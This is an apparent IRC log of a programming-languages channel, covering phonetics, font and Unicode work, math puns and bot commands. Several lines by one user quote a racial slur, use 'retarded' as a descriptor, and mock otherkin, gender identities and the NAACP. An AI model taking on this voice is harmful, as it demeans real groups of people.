08:05:47 <\oren\> Yeah, they had pictures.
08:09:57 <\oren\> It's a pity the web version of the Britannica is so stupid
08:18:00 <hppavilion[1]> zzo38: Pffft. REAL conspiracy theorists wear faraday cages
08:18:49 <\oren\> My aunt wore tinfoil liner under her jacket and hat for a while
08:19:43 <hppavilion[1]> Hm, I wonder if I could make a stylish tinfoil hat
08:19:58 <\oren\> she thought her pastor was using a microwave to mind control people or something
08:19:59 <hppavilion[1]> Do young conspiracy theorists in schools get to wear their tinfoil hats?
08:20:11 <\oren\> probably
08:20:25 <hppavilion[1]> (for those living abroad, in US schools students are banned from wearing hats because gang members also wear hats)
08:27:00 <hppavilion[1]> ...Huh
08:27:12 <hppavilion[1]> How do they ship devices used for automatically paying tolls?
08:31:04 <\oren\> presumably the device can be activated on delivery
08:31:32 <hppavilion[1]> "The NAACP denounces the use of both nigga and nigger."
08:31:41 <hppavilion[1]> \oren\: Yeah, but apparently they just put them in lead-lined bags
08:31:55 <hppavilion[1]> Their denouncement includes when used by black people
08:32:44 <hppavilion[1]> Because, of course, the NAACP has the authority to prescribe the culture and language that should be used by black people, and all black people are the same of course so anything sweeping like that is OK
08:33:25 <hppavilion[1]> NAACP should probably be renamed to the NAARC (National African American Regulation Center) or something like that
08:33:27 <\oren\> whatver... I'm coming to the conclusion that the entire anglosphere is probably doomed
08:36:54 <hppavilion[1]> \oren\: Anglosphere is a nice word
08:37:13 <hppavilion[1]> Why are all communities/networks of communities "spheres"?
08:37:37 <hppavilion[1]> I mean, wouldn't a great word for the community of minecraft players be "the Mineocube"?
08:46:37 <\oren\> マイノキュブはいいね
08:50:14 <hppavilion[1]> \oren\: What if neoletters used actual pictures for emoji? xD
08:52:21 * hppavilion[1] is tempted to incorporate the AAVE habitual/continuative aspect (e.g. "he be working Tuesdays") into his own grammar
08:53:00 <\oren\> I won't be doing much Emoji until the CJKwidth corrections in 9.0 are finalized
08:54:17 <\oren\> I do intend to draw them freehand from photos however, much like the flower tiles in the Mahjong block
08:55:08 <\oren\> `unicode 🀢🀣🀤🀥
08:55:24 <hppavilion[1]> \oren\: Ah, I was hoping you would just google the name and choose the first non-already-emoji image in the list that isn't copyright-protected xP
08:55:37 <HackEgo> U+1F022 MAHJONG TILE PLUM \ UTF-8: f0 9f 80 a2 UTF-16BE: d83cdc22 Decimal: &#127010; \ 🀢 \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals) \ \ U+1F023 MAHJONG TILE ORCHID \ UTF-8: f0 9f 80 a3 UTF-16BE: d83cdc23 Decimal: &#127011; \ 🀣 \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals) \ \ U+1F024 MAHJONG TILE BAMBOO \ UT
08:55:55 -!- xkapastel has quit (Quit: Connection closed for inactivity).
08:55:59 <\oren\> nah, that would not work, because I intend to keep neoletters a monochrome font
08:58:26 <hppavilion[1]> Oh
08:59:39 <\oren\> Color emojis probably would not react well with terminal colors
09:06:42 -!- hwpplayer1 has joined.
09:10:26 -!- AnotherTest has joined.
09:14:15 <hppavilion[1]> Hm... has anybody made an emoji-based shell yet?
09:16:17 <hppavilion[1]> There are no unvoiced vowels, are there...
09:17:35 <hppavilion[1]> Hm, and there's no voiced equivalent of 'h' (like 'b' is the voiced 'p' and 'd' is the voiced 't')
09:18:06 <hppavilion[1]> Probably because voicing 'h' makes you sound retarded (in the actual, clinical sense; not in an offensive, colloquial sense)
09:24:33 <\oren\> there is a voiced h
09:25:10 <shachaf> Is there?
09:26:12 <myname> there is an emoji based esolang
09:26:36 <\oren\> represented by the ɣ
09:26:55 <\oren\> voiced velar fricative
09:31:17 <\oren\> apparently ɦ is a voiced glottal fricative
09:32:35 <shachaf> A fricative is very different from h.
09:33:15 <\oren\> is it?
09:33:49 <\oren\> I thought h is a glottal fricative
09:35:43 <shachaf> I was talking about the English letter h.
09:36:21 -!- oerjan has joined.
09:37:51 <shachaf> Hmm, maybe I'm wrong.
09:38:14 -!- hwpplayer1 has quit (Quit: Leaving.).
09:38:45 <shachaf> I guess I misunderstood what a fricative is?
09:39:03 <\oren\> in dialects that bother to actually prnounce the letter h, it's definitely some kind of hssing sound
09:39:22 <\oren\> from the back of the throat
09:40:16 <fizzie> "In some languages, it has the constricted manner of articulation of a fricative. However, in many if not most it is a transitional state of the glottis, with no manner of articulation other than its phonation type. Because there is no other constriction to produce friction in the vocal tract in the languages they are familiar with, many phoneticians[who?] no longer consider [h] to be a ...
09:40:22 <fizzie> ... fricative. However, the term "fricative" is generally retained for historical reasons."
09:40:51 <shachaf> fizzie: i feel vindicated tdh
09:42:10 <hppavilion[1]> We have spelling bees, but not pronouncing bees
09:43:55 <hppavilion[1]> fizzie: Really? Using inaccurate, meaningfully-descriptive scientific terms for "historical reasons"!?
09:44:08 <hppavilion[1]> That's like... an analogy of some sort!
09:44:15 <shachaf> In 'ertford, 'ereford, and 'ampshire, 'urricanes 'ardly hever 'appen
09:44:54 <hppavilion[1]> I don't know, if we found out electrons had a positive charge (because physics) but we kept writing them as e^- for historical reasons
09:45:39 <hppavilion[1]> shachaf: I thought it was just "'amp" and the "shire" was added by Americans thinking all of England is a shire?
09:46:14 <hppavilion[1]> ("Devonshire")
09:46:22 <hppavilion[1]> See http://urbanlegends.about.com/library/blrevocation_cleese.htm
10:10:06 <hppavilion[1]> `? weapons
10:10:53 <HackEgo> weapons? ¯\(°​_o)/¯
10:11:03 <hppavilion[1]> `cat share/weapons
10:11:05 <HackEgo> cat: share/weapons: No such file or directory
10:11:09 <hppavilion[1]> `cat shr/weapons
10:11:10 <HackEgo> cat: shr/weapons: No such file or directory
10:11:13 <hppavilion[1]> `ls
10:11:15 <HackEgo> ​!\.´ \ advice \ bin \ canary \ cdescs \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ paste \ ply-3.8 \ ps \ quine \ quines \ quotes \ share \ src \ theorems \ tmflry \ tmp \ wisdom \ wisdom.pdf
10:11:26 <hppavilion[1]> `ls share
10:11:27 <HackEgo> 8ballreplies \ autowelcome_status \ awesome \ cat \ Complaints.mp3 \ conscripts \ construct_grams.pl \ delvs-master \ dict-words \ esolangs.txt \ esolangs.txt.sorted \ hello \ lua \ maimer \ maimery \ maze \ mtg \ nothp \ radio.php?out=inline&shuffle=1&limit=1&filter=*MitamineLab* \ recipe \ scapegoats \ sedtest \ UnicodeData.txt \ units.dat \ user
10:11:30 <hppavilion[1]> `ls tmp
10:11:31 <HackEgo> fruit \ spline \ spout \ tempcmd \ testcmd \ tmp_jonas
10:11:55 <hppavilion[1]> `ls etc
10:11:56 <HackEgo> luarocks
10:12:31 <hppavilion[1]> `` grep -h
10:12:37 <HackEgo> Usage: grep [OPTION]... PATTERN [FILE]... \ Try 'grep --help' for more information.
10:12:41 <hppavilion[1]> Wait, I should probably search for help locally
10:22:01 <hppavilion[1]> https://www.youtube.com/watch?v=nDGKK6y8OtQ
10:36:39 <HackEgo> [wiki] [[Talk:Folder]] https://esolangs.org/w/index.php?diff=47229&oldid=44368 * Rdococ * (+282) /* Computational class up for debate */
10:52:44 <hppavilion[1]> God I love https://pbs.twimg.com/media/CCMQCSDW8AAGN61.png:large
10:57:37 <hppavilion[1]> http://i.imgur.com/AbtBGxo.jpg: Coder learned to succeed despite racism
10:57:46 <hppavilion[1]> Specifically, he was racist against those from Java
11:02:02 <hppavilion[1]> "Good on him. Race conditions are hella hard to debug."
11:08:01 <hppavilion[1]> Oh my god
11:08:05 <oerjan> @tell b_jonas <b_jonas> oerjan, why does ? not find that entry? <-- because it auto-lowercases.
11:08:05 <lambdabot> Consider it noted.
11:08:15 <hppavilion[1]> The other day, I saw "womyn" in the comment section of a YouTube video, used sarcastically
11:08:34 <oerjan> `cat wisdom/XQELEKCTHZVBDBQR
11:08:44 <oerjan> oh wait
11:08:47 <hppavilion[1]> I assumed it was just taking rhetoric and obsession with orthography and inclusivity to the extreme
11:08:50 <hppavilion[1]> It was not
11:08:53 <hppavilion[1]> It's a real thing
11:08:54 <oerjan> `cat wisdom/XQELEKCTHZVBDBQR
11:08:54 <HackEgo> cat: wisdom/XQELEKCTHZVBDBQR : No such file or directory
11:08:55 <HackEgo> Who told you this?
11:09:02 <oerjan> oh right.
11:15:21 <shachaf> oerjan: Oh, a space.
11:15:34 <oerjan> `? group
11:15:43 <HackEgo> groups are just loops with the property of associativity
11:16:07 <oerjan> `sled wisdom/group//s/./G/;s/$/./
11:16:16 <oerjan> `culprits wisdom/group
11:16:45 <FreeFull> `echo wisdom/XQEL*
11:16:51 <FreeFull> `run echo wisdom/XQEL*
11:17:10 <shachaf> Remember when we didn't have sled and everything was sed -i?
11:17:15 <oerjan> please don't add more commands when HackEgo is already molasses
11:17:22 <HackEgo> wisdom/XQELEKCTHZVBDBQR
11:17:24 <FreeFull> 'molasses
11:17:32 <FreeFull> 'makemeasandwich
11:17:42 <oerjan> shachaf: how did we survive!
11:17:52 <HackEgo> int-e ais523 shachaf elliott Taneb
11:17:55 <oerjan> oh i forgot the command i added
11:17:56 <shachaf> Are you talking to me?
11:17:58 <HackEgo> wisdom/XQEL*
11:18:02 <HackEgo> wisdom/group//Groups are just loops with the property of associativity.
11:18:36 <FreeFull> `? banana
11:18:42 <HackEgo> Bananananananana BATMAN!
11:19:19 <oerjan> the weird thing is that the wiki is nowhere near that slow, despite being on the same server
11:20:23 <shachaf> Cale: This category theory book is very poorly edited.
11:20:28 <shachaf> Every section has a retraction.
11:20:48 <Cale> Which book?
11:20:54 * oerjan leaps onto shachaf with the vengeance of a thousand swats ------###
11:21:06 <oerjan> also an extra - it seems
11:21:15 <shachaf> ask oerjan hth
11:21:39 <oerjan> i think i'll pullback from this discussion.
11:21:57 <shachaf> That's a pretty good pun.
11:22:14 <shachaf> I should twit it or something. Wherever people put their puns these days.
11:22:31 <oerjan> `sudo
11:22:33 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: sudo: not found
11:26:25 -!- Phantom_Hoover has joined.
11:33:11 <\oren\> well I assume the wiki doesn't boot Linux with every request
11:37:23 <\oren\> (this might be a wrong assumption)
11:38:30 <hppavilion[1]> I'm trying to come up with a parody otherkin that's crazy enough to be obvious to everybody else, but not enough to tip off the actual otherkin
11:38:53 <hppavilion[1]> I honestly can't think of anything crazier than what Otherkin already have, something that would be obvious it was fictional.
11:39:13 <hppavilion[1]> Other than just a really long list of combinations, which would be obvious to everybody
11:39:25 <hppavilion[1]> Or, I don't know, wikipedia-kin?
11:40:30 <\oren\> Nac mac feeglekin
11:41:30 <\oren\> (assuming you've read your Terry Pratchett)
11:44:27 <hppavilion[1]> Isn't it great when you come up with a clever email address and it isn't taken?
11:47:25 <\oren\> my email address is just my.name@gmail.com
11:47:48 <\oren\> wait, I'm already using my name here
11:47:56 <\oren\> oren.watson@gmail.com
11:48:14 <FreeFull> \oren\: Does the Blue Man Group count?
11:48:37 <\oren\> omg hahaha I didn't make that connection...
11:48:49 <\oren\> perhaps they do.
11:50:32 <FreeFull> Probably not, since they don't pretend to be scottish
11:51:00 <\oren\> right. and they don't have swords that glow to warn of approaching lawyers
11:52:38 <oerjan> `? associativity
11:52:57 <HackEgo> h(th) = (ht)h
11:53:26 <oerjan> `learn Associativity is when h(th) = (ht)h, hth
11:53:35 <HackEgo> Relearned 'associativity': Associativity is when h(th) = (ht)h, hth
11:54:41 <oerjan> `learn Associativity is when h(th) = (ht)h.
11:54:49 <HackEgo> Relearned 'associativity': Associativity is when h(th) = (ht)h.
11:55:40 <oerjan> exercise: think of an operation that fulfils that but not if you distinguish the first and last h
11:56:41 <Phantom_Hoover> do the octonions work
11:56:56 <oerjan> i don't remember.
11:57:37 <oerjan> hm no that has the equals as neighbots
11:57:39 <oerjan> *r
11:59:08 <oerjan> oh it _is_ true.
11:59:38 <oerjan> https://en.wikipedia.org/wiki/Flexible_algebra
11:59:52 <oerjan> Phantom_Hoover: and for sedenions too
12:00:54 <oerjan> `learn Associativity means that h(th) = (ht)h, if you're flexible about it.
12:01:00 <HackEgo> Relearned 'associativity': Associativity means that h(th) = (ht)h, if you're flexible about it.
12:03:57 <lynn> I had to look up what a retraction is to get shachaf's joke, and found a great article: https://en.wikipedia.org/wiki/Retracted_article_on_dopaminergic_neurotoxicity_of_MDMA
12:05:17 <lynn> (I only knew that word as category theory jargon, embarrassingly...)
12:11:10 <hppavilion[1]> https://robjo.wordpress.com/2014/02/01/spotting-fake-otherkin-part-1-intro-and-angelkin/ is the most absurd thing I have ever seen
12:11:31 <hppavilion[1]> It's talking about people who ~"Want to be otherkin so badly they start to believe it's true"
12:11:42 <hppavilion[1]> "it let’s them feel special (without having actually earned that specialness)"
12:12:09 <hppavilion[1]> (You know, because otherkin actually have earned specialness by being reincarnated. Obvi.)
12:15:01 <hppavilion[1]> Ooor, has anybody applied Tumblr Genders and Tumblr Sexuality to religion?
12:16:04 <hppavilion[1]> "I'm an Akoitheist; I only believe in gods that don't think I exist because they thought they deleted the universe ages ago"
12:21:18 * oerjan recalls reading a comic book that started with the gods doing that. fortunately they missed a part.
12:23:20 <Phantom_Hoover> so meanwhile this is perfectly hilarious http://www.wired.com/2016/06/50-million-hack-just-showed-dao-human/
12:27:07 <HackEgo> [wiki] [[Talk:Funciton]] https://esolangs.org/w/index.php?diff=47230&oldid=42463 * IAM * (+145) /* Is this a Turing tarpit? */
12:28:26 <hppavilion[1]> "While Russia has more physicians, hospitals, and health care workers than almost any other country in the world on a per capita basis,[308] since the dissolution of the Soviet Union the health of the Russian population has declined considerably as a result of social, economic, and lifestyle changes;[309] the trend has been reversed only in the recent years, with average life expectancy having increased 5.2 years for males and 3.1 years
12:28:26 <hppavilion[1]> for females between 2006 and 2014."
12:28:42 <hppavilion[1]> In Soviet Russia...
12:29:06 <oerjan> they had rather good health care.
12:34:23 <HackEgo> [wiki] [[Talk:Funciton]] https://esolangs.org/w/index.php?diff=47231&oldid=47230 * IAM * (+315) /* Funciton Tools */ new section
12:35:27 <myname> where does that akoitheism come from
12:35:38 <HackEgo> [wiki] [[Talk:Funciton]] https://esolangs.org/w/index.php?diff=47232&oldid=47231 * IAM * (+122) /* Conditional returning lambda */
12:37:08 <HackEgo> [wiki] [[Talk:Funciton]] https://esolangs.org/w/index.php?diff=47233&oldid=47232 * IAM * (+68) /* Funciton Tools */
12:37:15 -!- Akaibu has quit (Quit: Connection closed for inactivity).
12:38:45 <\oren\> I hate how atmospheric drag doesn't affect any craft unless they're focused
12:45:07 <\oren\> hmm I have an idea for a space strategy game
12:48:20 <hppavilion[1]> \oren\: Will it allow traveling to other stars and, if so, will it properly reflect the several-hundred-year travel time?
12:49:34 <\oren\> hppavilion[1]: you control your spacecraft by sending programs to them, and the game server (which runs at all times) would simulate their carrying out your sent instructions
12:50:06 <hppavilion[1]> \oren\: Ah
12:50:15 <\oren\> It would have a very accurate physics engine, but the interface is just a website!
12:50:41 <hppavilion[1]> \oren\: Will it account for speed-of-light delay and require that you account for red/blueshifting in your spacecrafts' OSes?
12:50:55 <\oren\> of course
12:51:45 <hppavilion[1]> \oren\: Will you have to respect international treaties?
12:52:46 <\oren\> not if you don't want to!
12:54:24 <\oren\> You simply build spacecraft on your homeworld and program them. Communication, alliances, treaties, etc would be outside the game itself
12:55:59 <\oren\> although perhaps the in-game message system would be included
12:56:12 <\oren\> with light-speed delay, of course
12:57:31 <hppavilion[1]> Hm, why isn't there a planet mnemonic including Pluto
12:57:37 <hppavilion[1]> And all the other dwarf planets
13:32:15 <hppavilion[1]> `? programmer's google
13:32:23 <HackEgo> programmer's google? ¯\(°​_o)/¯
13:32:36 <hppavilion[1]> `le/rn programmer's google/A programmer's google is equal to 10^100, or 110
13:32:42 <HackEgo> Learned «programmer's google»
13:37:01 -!- boily has joined.
13:37:03 <boily> @metar CYQB
13:37:03 <lambdabot> CYQB 181200Z 00000KT 30SM FEW200 16/07 A3020 RMK CI1 HAZY SLP230
13:50:31 <oerjan> rimaykuboillayki
13:50:55 <hppavilion[1]> oerjan: Is that the most impressive porthello ever?
13:51:05 <oerjan> i dunno?
13:52:15 <hppavilion[1]> oerjan: Ok?
13:52:16 <boily> goerjaniemôre!
13:52:30 <hppavilion[1]> I need to learn more languages to improve my porthelloing
13:52:34 <boily> that is one nice porthelllo!
13:52:48 <hppavilion[1]> Hm, how would we porthello if we all spoke some chinese language?
13:52:53 <boily> hppavellonmatin[1]!
13:53:24 <hppavilion[1]> martin?
13:53:26 <hppavilion[1]> Oh, matin
13:54:27 <izabera> fun fact: the upcoming disney movie moana will be called oceania in italy, and she'll be called vaiana
13:54:43 <izabera> because moana is the name of a famous italian pornstar
13:55:27 <boily> buongizaberano!
13:55:36 <izabera> :P helloily
13:57:07 <oerjan> hppavilion[1]: non-latin scripthellos is a horror i have not yet fully contemplated.
13:58:20 <oerjan> izabera: moana lisa?
14:00:10 <izabera> moana pozzi
14:03:33 <hppavilion[1]> oerjan: I think they fall under "Eldritch Typography"
14:05:30 <hppavilion[1]> Hm, just to make the world a weirder, more unnecessarily-confusing place, I'm going to tell anyone who asks that my preferred pronouns are feminine (except for the collective third person; any group including me should be referred to as "he"), but that I'm a cis male
14:07:21 <oerjan> what about not increasing the madness further
14:08:18 <hppavilion[1]> oerjan: Bah! This is #esoteric!
14:08:24 <Cale> oerjan: that suggestion is inappropriate here
14:08:25 <oerjan> in any case, i refer the right to use gender-neutral pronouns for anyone being obnoxious.
14:08:49 <oerjan> hppavilion[1]: you said the world, not #esoteric.
14:09:05 <hppavilion[1]> oerjan: Yes, but #esoteric's goal is to conquer the outside world, is it not?
14:09:29 <hppavilion[1]> And become The Council of the 102(+-5 or so, 0 ops)
14:12:45 <oerjan> well we cannot conquer the world it it self-destructs first tdnh
14:13:59 <hppavilion[1]> Oooh, I can even include pronouns that are the same in english, but not in other languages
14:15:19 <oerjan> afk
14:15:41 <hppavilion[1]> Oooh, I can insist that people address me as "tu"
14:16:26 <hppavilion[1]> Wait, no, "vous"
14:16:46 <hppavilion[1]> Though "tu" is how you address God, so...
14:20:31 -!- Sgeo has quit (Ping timeout: 240 seconds).
14:35:12 <boily> hppavilion[1]: "vous" is a little bit too impersonal jqça
15:06:03 -!- iconmaster has joined.
15:09:50 -!- iconmaster has quit (Client Quit).
15:40:05 -!- boily has quit (Quit: DATE CHICKEN).
15:43:52 -!- augur has joined.
15:47:42 <hppavilion[1]> The World Trade Center: Making everyone experts on structural engineering since 2001
15:50:57 -!- augur has quit (Read error: Connection reset by peer).
15:51:37 -!- augur has joined.
16:11:54 <FreeFull> Ultimate conspiracy: 9/11 was an attack by French aliens, and the Faroese government covered it up
16:13:04 <Phantom_Hoover> impossible, as the theory would require france to independently achieve a military objective
16:17:06 <FreeFull> Napoleon did well, until Russia
16:23:13 -!- moon_ has joined.
16:23:40 <Phantom_Hoover> FreeFull, napoleon was italian!
16:24:34 <FreeFull> Phantom_Hoover: Corsica belongs to France
16:24:46 <FreeFull> Although he was Italian nobility
16:25:15 <Phantom_Hoover> it was italian up until right before he was born
16:25:56 <oerjan> <\oren\> Wikipedia has ceased showing a set of pictures of people in articles about ethnic groups... <-- huh indeed. https://en.wikipedia.org/wiki/Wikipedia_talk:Manual_of_Style/Images/Archive_6
16:26:33 <oerjan> technically italy was not a state until decades after he died hth
16:27:20 <Phantom_Hoover> s/italian/genoese/
16:27:42 -!- moon_ has quit (Ping timeout: 246 seconds).
16:39:56 -!- augur has quit (Remote host closed the connection).
16:52:09 <hppavilion[1]> The russian government will provide its citizens with all needs from A to backwards 'R'
16:53:12 <int-e> yayaya
16:53:34 <hppavilion[1]> int-e: Are there any unvoiced vowels?
16:53:38 <int-e> `unidecode Я
16:53:47 <int-e> I just happen to know how that one is pronounced.
16:53:53 <HackEgo> ​[U+042F CYRILLIC CAPITAL LETTER YA]
16:54:21 <FreeFull> `unidecode ♥
16:54:24 <HackEgo> ​[U+2665 BLACK HEART SUIT]
16:54:51 <int-e> and... did you get lucky or did you actually know that this is the last letter in the standard sequence of the cyrillic alphabet?
16:54:53 <hppavilion[1]> int-e: But how is ♥ pronounced?
16:55:08 <hppavilion[1]> int-e: I actually knew it
16:55:13 <hppavilion[1]> `? Я
16:55:14 <HackEgo> ​Я? ¯\(°​_o)/¯
16:56:21 <hppavilion[1]> `learn Я is the 8th letter of the hsilgnE alphabet
16:56:26 <HackEgo> Learned 'Я': Я is the 8th letter of the hsilgnE alphabet
16:57:52 <int-e> hppavilion[1]: as for unvoiced vowels I'd cite this example by Morgenstern: http://www.payer.de/exegese/exegese08c11.gif
16:58:18 <hppavilion[1]> int-e: ...huh?
16:58:31 <hppavilion[1]> Is that some sort of sound diagram below the IPA?
16:59:00 <oerjan> looks fishy.
16:59:21 <int-e> It's a poem; the title translates approximately as "fish lullaby", http://www.ablemuse.com/erato/showthread.php?t=19015 has some discussion on it.
17:01:58 <int-e> hppavilion[1]: and now I'd like to challenge you to come up with a more serious answer to your voiceless vowel question.
17:03:36 <int-e> (the comments point out that this might not be a lullaby but to my mind there never was any doubt about it)
17:15:07 <hppavilion[1]> http://english.stackexchange.com/questions/189567/is-there-such-a-thing-as-an-unvoiced-vowel
17:17:17 * int-e whistles
17:18:38 <int-e> (another voiceless activity)
17:24:30 <Phantom_Hoover> hppavilion[1], well obviously, how else could you whisper
17:24:56 <Phantom_Hoover> (whispering is also a good way to notice aspirated vs. unaspirated 'p')
17:25:37 <int-e> pffft
17:26:10 -!- dnm has quit (Ping timeout: 252 seconds).
17:28:02 <hppavilion[1]> Huh, babies saying "mama" isn't actually addressing their mother; mothers just interpret it as meaning themselves because that's one of the first consistent noises a baby makes
17:28:13 <oerjan> <hppavilion[1]> There are no unvoiced vowels, are there... <-- iirc japanese vowels are unvoiced in some positions.
17:28:28 <hppavilion[1]> oerjan: Yes, I found it
17:28:56 <oerjan> oh i was responding to logs.
17:31:45 <hppavilion[1]> oerjan: If the logs are talking to you, you need to stop drinking. Also, don't lumberjack while drunk.
17:33:20 <myname> how do you pronounce an unvoiced vowel?
17:36:05 <Phantom_Hoover> whisper something with vowels in it
17:36:39 -!- hppavilion[1] has quit (Ping timeout: 250 seconds).
17:37:33 <myname> it sounds weird in a non-whispered word
17:44:18 -!- oerjan has quit (Quit: Later).
17:45:22 -!- xkapastel has joined.
17:49:34 -!- spockers_ has joined.
17:52:31 -!- spockers has quit (Ping timeout: 240 seconds).
18:12:00 -!- idris-bot has quit (Ping timeout: 246 seconds).
18:13:33 -!- Melvar has quit (Ping timeout: 240 seconds).
18:16:10 -!- Melvar has joined.
18:28:05 -!- Kaynato has joined.
18:29:12 -!- hwpplayer1 has joined.
18:48:36 -!- hwpplayer1 has quit (Quit: Leaving.).
18:59:19 -!- boily has joined.
19:00:39 -!- boily has set topic: The intradisciplinary hub of solidity matrices, esoteric programming language design, multichannel bot abuse, and font forging | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf.
19:01:05 <boily> fungot: whip me, bite me, markov chain me to the wall.
19:01:06 <fungot> boily: state killing: is equal to the square root of the natural logarithm of something. " you don't always know the entire problem description and figure out what to do with
19:01:10 <shachaf> lynn: TG
19:01:21 <shachaf> lynn: Is it category theory jargon or is it topology jargon or something?
19:01:24 <boily> hellochaf, hellynn.
19:10:57 -!- hwpplayer1 has joined.
19:13:38 <boily> `relcome hwpplayer1
19:13:53 <HackEgo> hwpplayer1: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
19:14:07 <hwpplayer1> boily : Hi , how are you ?
19:15:15 <hwpplayer1> are you interested in only using a language or creating a new one ?
19:15:50 <myname> mostly creating, in fact
19:16:18 <myname> even though i thought about using efghij
19:20:35 <boily> hwpplayer1: I created a few. Aubergine is my best and purplest language.
19:21:12 <myname> how purple is it
19:22:32 <boily> quite.
19:24:09 <zzo38> It will not be necessary adding spaces on both side of all punctuation mark for English writing.
19:24:17 <myname> is it more purple than purple?
19:27:00 <hwpplayer1> i should ask something , does esoteric mean that the language is not useful or it means a few people use that language and it is marginal for now
19:27:45 <myname> it doesn't have to be either
19:29:44 <boily> myname: purple is purpler hth
19:51:59 <shachaf> In my dream, there was a conference about cartesian closed categories called "IOCCC".
19:53:25 <izabera> was it obfuscated?
19:55:13 <zzo38> hwpplayer1: Not necessarily either; read the esolang wiki is probably better way to learn what it means.
20:01:49 -!- idris-bot has joined.
20:03:22 -!- hwpplayer1 has quit (Ping timeout: 250 seconds).
20:04:50 -!- hwpplayer1 has joined.
20:11:41 <int-e> shachaf: n-th annual symposium of the International Organisation of Cartesian Closed Categories?
20:12:13 * int-e was unsuccessful in finding a synonym for "conference" or "meeting" that starts with an "o".
20:13:00 <shachaf> Maybe it's an organization. Doesn't quite work.
20:13:37 <shachaf> int-e: did you spiderjam
20:14:32 <int-e> I don't know what the question is
20:17:23 <shachaf> Did you play _Spider and Web_?
20:17:40 <int-e> fwiw, google finds guitar amplifiers.
20:17:59 <int-e> but no, I have not continued that game
20:20:28 <zzo38> Some systems using MC6845 for video will use clock interleaving for memory access, but PC uses a priority system instead.
20:21:03 <int-e> shachaf: it's not forgotten, just waiting in a subdirectory with other games I mean to play
20:25:55 -!- xkapastel has quit (Quit: Connection closed for inactivity).
20:26:21 <quintopia> dat unibroue blanche de chambly
20:28:01 -!- spiette has joined.
20:37:08 -!- moon_ has joined.
20:37:13 <moon_> hi
20:39:10 <APic> Hi.
20:42:19 -!- lamer14662786993 has joined.
20:43:47 -!- lamer14662786993 has changed nick to moonythedwarf.
20:43:54 -!- moon_ has quit (Ping timeout: 246 seconds).
20:44:13 -!- moonythedwarf has changed nick to moon_.
20:57:31 <\oren\> how many languages are there where "mama" means mother?
20:58:48 -!- augur has joined.
20:59:12 <\oren\> I know of at least English, Latin, and Mandarin.
20:59:33 <APic> Probably a great Number.
20:59:51 * APic spoke „Haha“ before them first, so i was told.
21:00:30 <myname> german
21:02:29 <fizzie> https://en.wiktionary.org/wiki/mama lists 30.
21:03:10 <fizzie> That is, 30 languages that have the word. Didn't check the meanings.
21:05:20 <fizzie> Eyeballing a bit, "mother" seems like the most common meaning, but there are some others as well (grandmother, breast, father, ...)
21:09:08 -!- augur has quit (Ping timeout: 244 seconds).
21:09:36 -!- gamemanj has joined.
21:09:50 <shachaf> fizzie: But that's only languages that use that alphabet, right?
21:16:33 -!- augur has joined.
21:18:58 -!- Frooxius has joined.
21:22:39 <moon_> I've decided to write a esoteric operating system just for fun
21:23:07 <moon_> ill post the document on it once im done
21:24:07 -!- moon_ has quit (Quit: jIRCii - http://www.oldschoolirc.com).
21:26:50 -!- augur has quit (Ping timeout: 260 seconds).
21:33:25 -!- moon_ has joined.
21:33:25 -!- Phantom__Hoover has joined.
21:33:33 <moon_> did anyone answer what i said? my internet died
21:35:01 <zzo38> Did you ask a question?
21:36:40 <int-e> also, clog is here, so the tunes logs are working
21:37:18 -!- Phantom_Hoover has quit (Ping timeout: 276 seconds).
21:37:35 -!- LexiciScriptor has joined.
21:37:39 -!- SupayrPoney has left.
21:39:57 <moon_> Nah, i just stated im making a esoteric operating system zzo38
21:40:15 <moon_> and that once im done on the ideas ill put them here
21:49:00 -!- Lord_of_Life has quit (Ping timeout: 260 seconds).
21:49:26 <zzo38> OK
21:55:12 -!- Lord_of_Life has joined.
21:58:12 -!- gamemanj has quit (Ping timeout: 250 seconds).
22:05:44 -!- Lord_of_Life has quit (Ping timeout: 250 seconds).
22:24:22 -!- Lord_of_Life has joined.
22:25:59 -!- spiette has quit (Quit: :qa!).
22:32:12 -!- LexiciScriptor has quit (Quit: LexiciScriptor).
22:38:55 -!- Lord_of_Life has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!).
22:45:42 -!- Lord_of_Life has joined.
22:45:57 <\oren\> Hmm, I'm working on CAS but it's going slowly
22:50:48 -!- Lord_of_Life has quit (Ping timeout: 250 seconds).
22:54:12 -!- Lord_of_Life has joined.
22:59:49 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
23:02:21 <moon_> CAS?
23:02:25 <moon_> whats that \oren\
23:08:34 -!- Lord_of_Life has quit (Ping timeout: 250 seconds).
23:11:31 <nortti> Computer Algebra System, I'd guess
23:11:31 <\oren\> Canadian Aboriginal Syllabics. I'm adding them to my font
23:11:36 <nortti> oh
23:15:42 -!- Lord_of_Life has joined.
23:19:50 <boily> quintopia: QUINTHELLOPIA! what the how are you inibrouing?
23:19:59 <boily> he\\oren\! still working on your font?
23:23:10 <boily> hey, you even added mahjong! 幸せ!フワフワ!万歳!plein d'affaires de même!
23:23:19 <Phantom__Hoover> Taneb, did you shave your eyebrows and play jojen in game of thrones
23:23:24 -!- Phantom__Hoover has changed nick to Phantom_Hoover.
23:24:51 <boily> `? taneb
23:26:26 <HackEgo> Taneb is not elliott, no matter who you ask. He also isn't a rabbi although he has pretended in the past. He has at least two backup keyboards with dodgy SHIFT KEys, cube root of eight genders, and voluminous but calm eyebrows. (See also: tanebventions)
23:27:11 <boily> `` sed -i 's/voluminous/above average, not too voluminous, /' wisdom/taneb
23:27:18 <HackEgo> No output.
23:27:51 -!- Lord_of_Life has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!).
23:36:04 <quintopia> helloily
23:36:17 <quintopia> krog st tapped a unibroue
23:36:22 <\oren\> boily: yes I added mahjong
23:36:30 <\oren\> and Cherokee
23:36:41 <quintopia> my favorite beer is unibroue's twrrible
23:36:48 <quintopia> im at a beer fest
23:36:55 <quintopia> with a cover band
23:37:18 <quintopia> playing all the white people hits
23:37:43 <\oren\> ᑥ looks like a really sad face
